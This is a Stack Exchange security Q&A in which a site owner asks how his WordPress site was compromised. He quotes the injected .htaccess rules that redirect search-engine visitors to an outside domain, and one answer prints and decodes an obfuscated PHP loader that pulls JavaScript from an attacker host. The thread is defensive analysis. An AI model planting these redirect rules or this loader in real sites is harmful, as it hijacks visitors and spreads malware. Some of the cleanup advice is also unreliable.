Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

My website was banned as a malware website by Google. When I checked the code, I found out that some code injected many files on my server. I cleaned everything manually, edited all files on my server (shared hosting) by searching some code from the injected code in all the files. Even the .htaccess file was modified by the attacker.

There were two WordPress installations on the website, in two different subfolders of the website root, which were not updated. I updated both.

Then Google removed ban on my website.

Yesterday, I found out that the .htaccess file on my website was again modified by the attacker. Here is the code:

#b58b6f#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://www.couchtarts.com/media.php [R=301,L]
</IfModule>
#/b58b6f#

I searched for "b58b6f" in all the files, but I don't find any. I think this is the only file modified by the most recent attack. I deleted this .htaccess file, as I don't need it.

How was the hacker able to hack my website? How to prevent this to happen again? How I can make my website more secure?

share|improve this question
    
Do you have your website in subversion (or similar)? An hourly svn status cron job can alert you very quickly to any changes and a manual svn revert can remove all the changes. –  Ladadadada Jun 22 '12 at 9:17
    
I think this answer might apply to your situation. security.stackexchange.com/questions/16305/… –  Todd Dill Jun 24 '12 at 13:22
    
Thank you @ToddDill –  Debiprasad Jun 26 '12 at 7:04
    
"malware injection" is just a symptom of insecure code. An attacker needs a vulnerability such as SQL Injection or a Local File Include vulnerability in order to make this happen. –  Rook Jul 10 '13 at 16:36

4 Answers 4

up vote 4 down vote accepted

It seems that the malware you encountered is the "daysofyorr.com virus" or MW:HTA:7.

I'm suggesting that you are using Filezilla as the FTP client. If so, you must know that FileZilla store the credentials of your websites in plain text. A virus may have accessed your credentials, and then accessed all your registered websites searching for wordpress install in order to update the files by inserting this code.

Now, you should :

  • Search your computer for any viruses/malware/etc
  • Change the FTP password of all your registered FTP accounts saved in Filezilla
  • Eventually use a better FTP system, like WinSCP

A late comment, but I suspect that you use FileZilla as your FTP client. Did you know that FileZilla stores your FTP site credentials (site/user/pass) in a plain text file in the %APPDATA% folder?

And I also suspect there is a hidden malware on your computer. It grabbed your Filezilla credential files, and used them to change your header.php file in your theme folder. In fact, I suspect that you will find changed header.php in all of your themes folders.

And if you are technical enough to look at your FTP log files, you will find the access to those files: a download, then an upload of the changed files. You might also find some random file names that were uploaded to your root ('home') folder, although those files were deleted by the hacker.

And, you will find that the IP address in the FTP log of the hacker was from China.

Recommendation: uninstall FileZilla, delete the Filezilla folder from %APPDATA% folder, change your FTP passwords (and your host passwords). And look for any changed header.php, footer.php, and wp-settings.php files.

For the daysofyorr.com virus, you can confirm this by checking some of your php files (like index.php), if you find this code :

#b58b6f#
echo(gzinflate(base64_decode(“JctRCoAgDADQq8gO4P5DvcuwRUm hbKPl7fvw98FLWuUaFmwOzmD8GTZ6aSkElZrhNBsborvHnab2Y3a RWPuDwjeTcmwKJeFK5Qc=”)));
#/b58b6f#

That's it!

For information, it translate into :

<script type="text/javascript" src="http://www.daysofyorr.com/release.js"></script>

Which seems to lead to a 404 nowadays...

Some information here too (in german, sorry)

share|improve this answer
    
Did you confirmed it was one of those viruses? I would be curious to know which one :p (I would believe more about MW:HTA:7) –  Cyril N. Jun 22 '12 at 9:39
  1. Check logs see if you can work out the point it was compromised
  2. Ensure your Wordpress and any plugins are up to date. Since Wordpress is such a commonly used system its quite prone to vulnerabilities.
  3. If you still can't figure out whats gone on it might be worth contacting the company that provides your shared hosting and make them aware of the issue, as it could be a result of an out of date application or something that they are hosting.
share|improve this answer
  1. If your hosting company has their own version of wordpress that they constantly update I would reccomend going with that VS a fresh install on your own. The probability would be decreased on getting compromised since you would most likely only have access to it VIA an admin panel.

  2. As for Filezilla, it does support SFTP and FTPS so that may be another option provided that your host supports an encrypted FTP.

  3. Lastly you may be able to block IP ranges of say outside of North America which could aid in blocking the attacks since most attacks are from overseas to make legal avenues usually not worth while to go after.

share|improve this answer

I have dealt with this virus before and successfully cleaned and ensured it doesnt harm sites:

  1. GO TO YOUR PHP.INI file
  2. search the following without quotes "disable_functions"
  3. disable_functions = eval,gzinflate, base64
  4. Reset your IIS for changes to take effect

Now this will disable the virus to propagate or function as you have disabled the functions that virus/malware uses

Now use the following: TextCrawler (To search and remove the infected files)

Can be downloaded from link below: http://www.digitalvolcano.co.uk/textcrawler.html

Initially search for eval(gzinflate(base64_decode in the directory you want to search It will list all the variants of the malware, lets suppose you have multiple malware of such kind. Now select/copy the malware code starting from

Now use text crawler to find and replace the code with an empty space or // this is will put an empty space or a comment line by removing the malware code.

All your files will be clean n you want see malware coming again.

IMPORTANT: Most of the websites required eval and base64 encoding, so for safe side its better to comment only one function gzinflate as its rarely used.

Still having issues, let me know or drop an email at : miraclesoul [at] [hotmail]

thanks

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.